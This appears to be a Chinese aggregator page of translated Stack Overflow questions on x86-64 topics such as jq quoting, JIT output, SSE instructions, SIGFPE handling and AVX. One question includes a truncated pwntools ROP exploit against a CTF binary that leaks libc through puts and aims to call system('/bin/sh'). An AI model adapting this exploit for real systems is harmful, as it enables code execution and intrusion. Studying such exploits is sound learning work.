标签: x86-64

linux 64位jq不支持select函数中带空格扩展的变量

macOS 中的示例正常:

jq版

jq-1.6
Run Code Online (Sandbox Code Playgroud)

代码

a='[{"a":"b"},{"c":"d c"}]'
b="d c"
echo $a|jq '.[]|select(.c == "'$b'")'
Run Code Online (Sandbox Code Playgroud)

输出

{
  "c": "d c"
}
Run Code Online (Sandbox Code Playgroud)

Linux 中的 KO 示例:

jq版

jq-1.5-1-a5b5cbe
Run Code Online (Sandbox Code Playgroud)

代码

a='[{"a":"b"},{"c":"d c"}]'
b="d c"
echo $a|jq '.[]|select(.c == "'$b'")'
Run Code Online (Sandbox Code Playgroud)

输出

jq: error: syntax error, unexpected $end, expecting QQSTRING_TEXT or QQSTRING_INTERP_START or QQSTRING_END (Unix shell quoting issues?) at <top-level>, line 1:
.[]|select(.c == "d
jq: 1 compile error
Run Code Online (Sandbox Code Playgroud)

如上,linux环境和macos环境下jq的select函数中的空格扩展是有区别的。我已经尝试在linux环境中下载jq-1.6,但它也产生了像上面的linux示例KO一样的问题。linux版本的jq还存在bug吗?有人能以另一种很好的方式来实现上述功能吗?我在 shell 中使用 jq 来解析数据库信息并获取指定内容...提前致谢!

linux bash x86-64 jq

1
推荐指数
1
解决办法
71
查看次数

理解 JIT 对 for 循环的重写

我有以下Java代码(所有数组在我们调用“arrays”之前都已初始化,并且所有数组的大小均为“arraySize”)

int arraySize = 64;

float[] a;
float[] b;
float[] result;

public void arrays() {
    for (int i = 0; i < arraySize; i++) {
        result[i] = ((a[i] * b[i] + b[i] - b[i]) / b[i]) +
                     a[i] + a[i] + a[i] + a[i];
    }
}
Run Code Online (Sandbox Code Playgroud)

JIT 的输出是:

# {method} {0x00000001034751a8} 'arrays' '()V' in 'main/ComplexExpression'
#           [sp+0x30]  (sp of caller)
[Entry Point]
0x000000010c4c55a0: mov 0x8(%rsi),%r10d
0x000000010c4c55a4: movabs $0x800000000,%r11
0x000000010c4c55ae: add %r11,%r10
0x000000010c4c55b1: cmp %r10,%rax
0x000000010c4c55b4: jne 0x000000010c44b780  ;   {runtime_call ic_miss_stub} …
Run Code Online (Sandbox Code Playgroud)

java assembly jit x86-64 auto-vectorization

1
推荐指数
1
解决办法
181
查看次数

首先 movss,然后用零 unpcklps,不改变高零。为什么?

我是 x86 的新手,没有任何经验,所以这段代码对我来说看起来有点过时了。这样做有什么目的吗?

说明是:

rcx+000003F8 = 32 位浮点数

xmm0 = 0(全部 128 位)

movss xmm4,[rcx+000003F8]
unpcklps xmm4,xmm0
Run Code Online (Sandbox Code Playgroud)

“unpcklps xmm4,xmm0”会不会过时,因为它不会改变 xmm4 中的任何内容?

x86 assembly sse x86-64

1
推荐指数
1
解决办法
92
查看次数

为什么 x86-32 架构没有在 x86-64 之前获得更多通用寄存器?

x86-32 架构确实有 8 x 32 位通用寄存器。它们是 EAX、EBX、ECX、EDX、ESI、EDI、ESP 和 EBP。

但为什么直到 x86-64 架构出现之后这个数字才翻倍呢?

如果你看看从 i386 到 Pentium 4 的 32 位 CPU 和软件世界,那么在 32 位时代,软件不再支持较旧的 32 位 CPU,因为使用了一些功能,只有较新的 32 位 CPU 才能使用这些功能。 CPU确实有。因此,问题是为什么不简单地提前增加通用寄存器的数量呢?

难道是因为Intel想要推动安腾架构,因此对x86架构的更多GPR不感兴趣?如果是这样,为什么 AMD 在 2003 年推出 AMD64 之前没有自己尝试呢?

x86 x86-64 cpu-architecture cpu-registers

1
推荐指数
1
解决办法
81
查看次数

从程序集中捕获/禁用 SIGFPE 异常

在使用 .x86 程序集除以 0 时,出现 SIGFPE 异常idiv。我如何从汇编中禁用它?我需要系统调用还是可以直接在 x86 中完成?

再生产:

测试.asm

default rel
global WinMain

section .data 

section .text
WinMain:
    mov rcx, 0
    mov rdx, 0
    idiv rcx
Run Code Online (Sandbox Code Playgroud)

命令:

nasm -f win64 test.asm
gcc test.obj
gdb a
运行

x86 assembly x86-64 integer-division

1
推荐指数
1
解决办法
92
查看次数

x64 中的堆栈对齐不是 16 字节?

我尝试了这段代码:

\n
#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nfrom pwn import *\n\nelf = context.binary = ELF(args.EXE or 'callme')\nlibc = elf.libc\nrop = ROP([elf, libc])\npop_rdi = p64(0x00000000004009a3)\nret = p64(0x00000000004006be)\n\ndef start(argv=[], *a, **kw):\n    '''Start the exploit against the target.'''\n    if args.GDB:\n        return gdb.debug([elf.path] + argv, gdbscript=gdbscript, *a, **kw)\n    else:\n        return process([elf.path] + argv, *a, **kw)\n\ngdbscript = '''\nbreak *pwnme+89\ncontinue\n'''.format(**locals())\n\noffset = b'A' * 40\n\n'''\n1. print a leak to the address in libc in puts()'s GOT\n2. grab that leak, calculate system and '/bin/sh'\n3. call it. GG\n'''\n\nrop.raw(offset)\nrop.call('puts', [elf.got['puts']])\nrop.call('main')\n\n\n\nio …
Run Code Online (Sandbox Code Playgroud)

python assembly stack x86-64 ctf

1
推荐指数
1
解决办法
90
查看次数

posix_memalign与mmap有何不同

如何posix_memalign与对齐大小为4096个字节有所不同mmap?它是内部使用mmap还是其他机制?

c linux gcc x86-64

0
推荐指数
1
解决办法
1099
查看次数

在AVX x86中将int转换为double

我有一个外部功能:

extern "C" void calculateAreaUnderCurve_(double startPoint, double endPoint, int numberOfTrapezes, double* coefficients, double* result);
Run Code Online (Sandbox Code Playgroud)

我想在我的.asm文件中转换numberOfTrapezes为a double.

我试着用:vcvtsi2sdcvtsi2sd,但它不工作.

编辑:

这是我的.asm文件

.model flat,c    
.code

;   Function declatation:
;   int calculateAreaUnderCurve_(double startPoint, double endPoint, 
;   int numberOfTrapezes, double* coefficients, double* result);

calculateAreaUnderCurve_ proc
        push ebp
        mov ebp,esp

;   Load argument values
        vmovsd  xmm1,real8 ptr [ebp+8]      ;xmm1 = startPoint
        vmovsd  xmm2,real8 ptr [ebp+16]     ;xmm2 = endPoint
        mov     ebx, [ebp+20]               ;ebx  = numberOfTrapezez int value
        mov     eax, [ebp+28] …
Run Code Online (Sandbox Code Playgroud)

x86 assembly x86-64 masm avx

0
推荐指数
1
解决办法
689
查看次数

AVX2中排序数组的有效稳定和

考虑数字的排序(升序)数组double。为了数值稳定,应该对数组求和,就好像从头到尾迭代一样,将总和累加到某个变量中。

如何使用AVX2有效地向量化?

我研究了此方法用AVX指令完成水平向量求和的最快方法,但是将其缩放为数组(可能需要一些分治法)似乎很棘手,同时通过确保小数来保持浮点精度在将它们添加到更大数量之前进行汇总。

澄清1:我认为应该可以将例如前4个项目相加,然后将它们添加到接下来4个项目的合计中,以此类推。但是我更喜欢一种不会完全破坏稳定性的方法。

澄清2:内存不应成为瓶颈,因为该阵列位于L3高速缓存中(但不应位于L1 / L2高速缓存中,因为该阵列的各个部分是从不同的线程填充的)。我不想求助于Kahan求和,因为我认为真正重要的是运算数量,而Kahan求和将使它增加约4倍。

c++ algorithm floating-point x86-64 vectorization

0
推荐指数
1
解决办法
329
查看次数

装配中局部变量的大小

我有以下C功能:

void function(int a) {
  char buffer[1];
}
Run Code Online (Sandbox Code Playgroud)

它产生以下汇编代码(gcc,0优化,64位机器):

function:
  pushq %rbp
  movq  %rsp, %rbp
  movl  %edi, -20(%rbp)
  nop
  popq  %rbp
  ret
Run Code Online (Sandbox Code Playgroud)

问题:

  • 为什么缓冲区占用20个字节?
  • 如果我声明char buffer而不是char buffer[1]偏移是4个字节,但我希望看到8,因为机器是64位,我认为它将使用qword(64位).

在此先感谢,如果问题重复,我很抱歉,我无法找到答案.

c assembly gcc x86-64 word-size

0
推荐指数
1
解决办法
119
查看次数